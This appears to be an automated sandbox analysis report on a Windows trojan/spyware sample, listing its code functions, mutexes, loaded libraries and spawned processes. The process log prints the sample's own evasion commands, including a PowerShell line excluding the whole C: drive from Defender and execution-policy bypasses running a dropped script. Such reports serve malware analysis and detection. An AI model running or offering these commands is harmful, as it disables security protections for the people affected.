Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0308DDF0	5_2_0308DDF0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0272122F	5_2_0272122F
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0271B66A	5_2_0271B66A
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02721780	5_2_02721780
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_027124B0	5_2_027124B0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02721E5C	5_2_02721E5C
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02720CDE	5_2_02720CDE
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02722D91	5_2_02722D91
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_10016721	5_2_10016721
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00D90032	5_2_00D90032
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00DA66F8	5_2_00DA66F8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026C0032	5_2_026C0032
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026D1206	5_2_026D1206
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026CB641	5_2_026CB641
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026D1757	5_2_026D1757
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026D0CB5	5_2_026D0CB5
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026C2487	5_2_026C2487
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_026D2D68	5_2_026D2D68
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02EF82BF	5_2_02EF82BF
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02F0D25E	5_2_02F0D25E
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02F0F3BE	5_2_02F0F3BE
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02EF689F	5_2_02EF689F
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02EF1E6F	5_2_02EF1E6F
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02EF660F	5_2_02EF660F
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02F0D7AF	5_2_02F0D7AF
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02F07D40	5_2_02F07D40
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_02F0DD00	5_2_02F0DD00

Source: Joe Sandbox View

Dropped File: C:\Users\user\Downloads\wpsv.5.6.3.exe C6AC7D9ADD40B913112B265D4F366D9EF80BBD711049DB085FC750FCAD4E14D8

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: String function: 005C94E0 appears 40 times
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: String function: 005E0B90 appears 60 times
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: String function: 005E08AC appears 46 times
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: String function: 03084300 appears 32 times
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: String function: 005E0B90 appears 60 times
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: String function: 005C94E0 appears 40 times
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: String function: 005E08AC appears 46 times

Source: leBwnyHIgx.exe, 00000000.00000000.1657771308.0000000000672000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs leBwnyHIgx.exe
Source: leBwnyHIgx.exe, 00000000.00000002.2077897111.000000000245A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs leBwnyHIgx.exe
Source: leBwnyHIgx.exe, 00000000.00000003.1717834094.0000000002970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs leBwnyHIgx.exe
Source: leBwnyHIgx.exe, 00000005.00000002.4133552323.000000000268A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs leBwnyHIgx.exe
Source: leBwnyHIgx.exe, 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFileName vs leBwnyHIgx.exe
Source: leBwnyHIgx.exe	Binary or memory string: OriginalFileName vs leBwnyHIgx.exe
Source: leBwnyHIgx.exe.0.dr	Binary or memory string: OriginalFileName vs leBwnyHIgx.exe

Source: leBwnyHIgx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/27@1/2

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_005FA9A8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	0_2_005FA9A8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_005FA9A8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	5_2_005FA9A8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03077740 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	5_2_03077740
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03077620 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	5_2_03077620
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03077B70 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	5_2_03077B70

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_03076C50 wsprintfW,MultiByteToWideChar,GetDriveTypeW,GetDiskFreeSpaceExW,_memset,GlobalMemoryStatusEx,swprintf,swprintf,

5_2_03076C50

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_10001FA0 CreateToolhelp32Snapshot,memset,Process32FirstW,WideCharToMultiByte,CloseHandle,Process32NextW,CloseHandle,

0_2_10001FA0

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_0060F338 GetVersion,CoCreateInstance,

0_2_0060F338

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_0046523C FindResourceW,LoadResource,SizeofResource,LockResource,

0_2_0046523C

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

File created: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3428:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5288:120:WilError_03
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12.25
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Mutant created: \Sessions\1\BaseNamedObjects\VJANCAVESU

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

File created: C:\Users\user\AppData\Local\Temp\PolicyManagement.xml

Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: leBwnyHIgx.exe	Virustotal: Detection: 29%
Source: leBwnyHIgx.exe	ReversingLabs: Detection: 23%

Source: leBwnyHIgx.exe	String found in binary or memory: /LoadInf=
Source: leBwnyHIgx.exe	String found in binary or memory: /LoadInf=
Source: leBwnyHIgx.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: leBwnyHIgx.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: leBwnyHIgx.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string
Source: leBwnyHIgx.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

File read: C:\Users\user\Desktop\leBwnyHIgx.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\leBwnyHIgx.exe "C:\Users\user\Desktop\leBwnyHIgx.exe"
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe "C:\Users\user\AppData\Roaming\leBwnyHIgx.exe"
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe "C:\Users\user\AppData\Roaming\leBwnyHIgx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Section loaded: dxgi.dll	Jump to behavior
